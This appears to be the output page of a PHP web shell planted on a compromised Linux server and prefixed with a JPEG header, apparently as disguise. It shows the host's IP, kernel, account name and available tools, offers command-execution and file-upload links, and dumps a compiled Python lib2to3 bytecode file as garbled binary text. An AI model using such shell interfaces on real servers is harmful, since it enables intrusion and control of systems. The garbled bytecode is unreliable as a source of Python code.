����JFIF��x�x������Exif��MM�*���� ����E���J����������������(������������������
Server IP : 103.191.208.227 / Your IP : 3.145.37.153 Web Server : LiteSpeed System : Linux emphasis.herosite.pro 4.18.0-553.8.1.lve.el8.x86_64 #1 SMP Thu Jul 4 16:24:39 UTC 2024 x86_64 User : mhmsfzcs ( 1485) PHP Version : 8.1.31 Disable Function : show_source, system, shell_exec, passthru, exec MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /lib64/pgsql/../mysql/../NetworkManager/../python3.6/lib2to3/__pycache__/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
3 \=m � @ s< d Z dZddlZddlZddlZddlZddlZddlZddlm Z ddl mZmZm Z ddlmZ ddlmZmZ dd lmZ d&dd�ZG d d� de�Zdd� Zdd� Zdd� Zdd� Zejd'k r�ddlZejZdd� Z dd� Z!neZeZ eZ!dd� Z"G dd� de�Z#G d d!� d!e$�Z%G d"d#� d#e�Z&G d$d%� d%e%�Z'dS )(z�Refactoring framework. Used as a main program, this can refactor any number of files and/or recursively descend down directories. Imported as a module, this provides infrastructure to write your own refactoring tool. z#Guido van Rossum <guido@python.org>� N)�chain� )�driver�tokenize�token)� find_root)�pytree�pygram)�btm_matcherTc C st t | g g dg�}tjj|j�}g }xLttj|��D ]:}|jd�r2|jd�r2|rZ|dd� }|j |dd� � q2W |S )zEReturn a sorted list of all available fix names in the given package.�*�fix_z.py� N� ���) � __import__�os�path�dirname�__file__�sorted�listdir� startswith�endswith�append)Z fixer_pkgZ remove_prefixZpkgZ fixer_dirZ fix_names�name� r �(/usr/lib64/python3.6/lib2to3/refactor.py�get_all_fix_names s r c @ s e Zd ZdS )� _EveryNodeN)�__name__� __module__�__qualname__r r r r r + s r c C s� t | tjtjf�r(| jdkr t�| jhS t | tj�rH| jrDt| j�S t�t | tj �r�t � }x*| jD ] }x|D ]}|jt|�� qlW qbW |S td| ��dS )zf Accepts a pytree Pattern Node and returns a set of the pattern types which will match first. Nz$Oh no! I don't understand pattern %s) � isinstancer ZNodePatternZLeafPattern�typer ZNegatedPatternZcontent�_get_head_typesZWildcardPattern�set�update� Exception)Zpat�r�p�xr r r r$ / s r$ c C s� t jt�}g }x�| D ]|}|jrjyt|j�}W n tk rJ |j|� Y q�X xB|D ]}|| j|� qRW q|jdk r�||j j|� q|j|� qW x,tt j jj� t j j �D ]}|| j|� q�W t|�S )z^ Accepts a list of fixers and returns a dictionary of head node type --> fixer list. N)�collections�defaultdict�list�patternr$ r r Z_accept_typer r �python_grammarZ symbol2number�values�tokens�extend�dict)Z fixer_listZ head_nodesZevery�fixerZheadsZ node_typer r r �_get_headnode_dictK s"